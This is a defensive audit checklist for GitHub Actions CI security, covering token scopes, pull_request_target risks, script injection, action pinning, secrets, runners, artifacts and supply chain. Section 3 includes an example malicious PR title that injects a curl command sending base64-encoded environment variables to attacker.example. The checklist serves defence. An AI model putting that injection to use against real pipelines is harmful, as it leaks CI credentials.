CI is the part of an engineering estate that executes arbitrary code, with credentials, on machines that can frequently reach production. It is also the part with the least governance, because it grew organically and nobody has ever enumerated what runs.
This is an audit checklist. Each item states the attack it prevents, because a checklist you can’t reason about becomes a ritual.
Every section below links the GitHub documentation it summarises, so each item can be checked against the primary source. This page is also laid out to print.
1. Token permissions
Section titled “1. Token permissions”Primary source: GitHub Docs
- Default workflow permissions set to read-only at organisation level.
- Workflows request additional scopes explicitly, at job level rather than workflow level.
- “Allow GitHub Actions to create and approve pull requests” is off.
- No workflow uses
permissions: write-all.
Why. The workflow token is available to every step, including third-party actions. A token
with contents: write lets a compromised step push commits; with actions: write it can rewrite
workflows to persist. Read-only by default converts a broad standing grant into an explicit,
reviewable request — one setting, estate-wide.
2. Untrusted code and fork pull requests
Section titled “2. Untrusted code and fork pull requests”Primary source: GitHub Docs
- No workflow checks out fork PR code and has access to secrets.
- Every
pull_request_targetusage reviewed individually and justified. - No
pull_request_targetcombined withref: github.event.pull_request.head.sha. - Privileged follow-up work uses the artifact +
workflow_runsplit. - Approval required for first-time contributors’ workflow runs.
Why. pull_request runs in the fork’s context with no secrets — that is what makes accepting
contributions safe. pull_request_target runs in the base repository’s context with full
secrets and a write token. Checking out PR head code under it and running any build step executes
attacker-supplied code with your credentials present. This is the single highest-severity pattern
in Actions, and it is not rare.
3. Script injection
Section titled “3. Script injection”Primary source: GitHub Docs
- No
${{ }}interpolation of user-controllable text directly insiderun:. - Untrusted values passed via
env:and referenced as shell variables. - Audited: PR titles and bodies, branch and tag names, issue content, commit messages, review comments.
Why. Expressions are substituted before the shell sees the script. A pull request titled
a"; curl -d "$(env | base64)" https://attacker.example ; # becomes part of the command. This
needs no fork and no unusual trigger — just one workflow that echoes a title. Passing through
env: makes the value data rather than code.
4. Third-party actions
Section titled “4. Third-party actions”Primary source: GitHub Docs
- Third-party actions pinned to a full commit SHA, not a tag or branch.
- An allow list configured at organisation or enterprise level.
- New actions reviewed before first use — what it does, who maintains it, what it requests.
- Secrets passed to third-party actions are the minimum they need.
- Dependabot configured to update pinned action SHAs.
Why. @v3 is a mutable pointer. The maintainer — or anyone who compromises the repository —
can move it to different code, which then runs with your job’s permissions on your next build.
Pinning to a SHA is the difference between a reviewed dependency and a trusted one. An allow
list is also your fastest response when a popular action is disclosed as compromised.
5. Secrets
Section titled “5. Secrets”Primary source: GitHub Docs
- Production credentials in environments with required reviewers, not repository secrets.
- OIDC used for cloud authentication instead of stored long-lived keys.
- Repository and organisation secrets inventoried; unused ones removed.
- No secret ever echoed, printed, or written to an artifact.
-
persist-credentials: falseon checkout where no later Git command needs auth.
Why. A repository secret is readable by every workflow in that repository, including one added by a pull request from anyone with write access. An environment secret can require human approval and restrict which branches may deploy. OIDC removes the stored credential entirely — the strongest form of this control, because there is nothing left to leak.
6. Runners
Section titled “6. Runners”Primary source: GitHub Docs
- Self-hosted runners never reachable by public repositories.
- Runner groups scoped by what the runner can reach, not by which team owns it.
- Ephemeral runners — each job in a fresh environment.
- Cloud instance metadata endpoint blocked from runner jobs.
- Runners patched; registration tokens treated as credentials.
Why. A self-hosted runner is a machine on your network. Anyone can fork a public repository and open a pull request; if that triggers a job on your runner, anyone can execute code inside your perimeter. Persistent runners additionally carry state between jobs — cached credentials, leftover files — which is a lateral movement path between teams.
7. Workflow files as an attack surface
Section titled “7. Workflow files as an attack surface”Primary source: GitHub Docs
-
CODEOWNERScovers.github/workflows/so CI changes need nominated review. - Required workflows defined centrally via rulesets, so a repository cannot remove them.
- Audit log alerting on workflow file modifications.
Why. A workflow file lives in the repository it governs. Anyone who can merge to the default branch can change what CI does — removing a scan, adding an exfiltration step, or granting the job more permissions. Branch protection is therefore the real control, and a workflow change is the classic persistence mechanism for a compromised credential.
8. Artifacts and outputs
Section titled “8. Artifacts and outputs”Primary source: GitHub Docs
- Artifacts contain no credentials, tokens or
.envfiles. - Artifact retention set deliberately rather than left at the default.
- Downloaded artifacts treated as untrusted input — never executed by a privileged job.
- Build provenance attestations generated for released artifacts.
Why. Artifacts are downloadable by anyone with repository read access, and they persist. An artifact built from untrusted code and then executed by a privileged workflow is the same vulnerability as running fork code directly, one step removed.
9. Supply chain
Section titled “9. Supply chain”Primary source: GitHub Docs
- Lockfiles committed and used (
npm ci, notnpm install). - Dependency review on pull requests.
- Dependabot alerts enabled and acted on.
- Releases signed or attested.
- A route to respond to a critical advisory in days.
Why. Your workflow is only as trustworthy as everything it installs. A compromised transitive
dependency executes with the same permissions as your job, and postinstall scripts run before
any test does.
10. Governance across many repositories
Section titled “10. Governance across many repositories”Primary source: GitHub Docs
- Inventory: which repositories have workflows, which actions they use, at what versions.
- Pipeline logic centralised in reusable workflows so one fix reaches every caller.
- Organisation-level Actions policies configured deliberately.
- Self-hosted runner inventory current — no runners nobody claims.
Why. At scale the binding constraint is not knowing what runs. A fleet-wide search for uses:
is usually the most productive hour available, and centralising pipeline logic converts a
fleet-wide security fix from a quarter-long campaign into a single commit.
Practise it
Section titled “Practise it”Reading a checklist and finding these in a real workflow are different skills.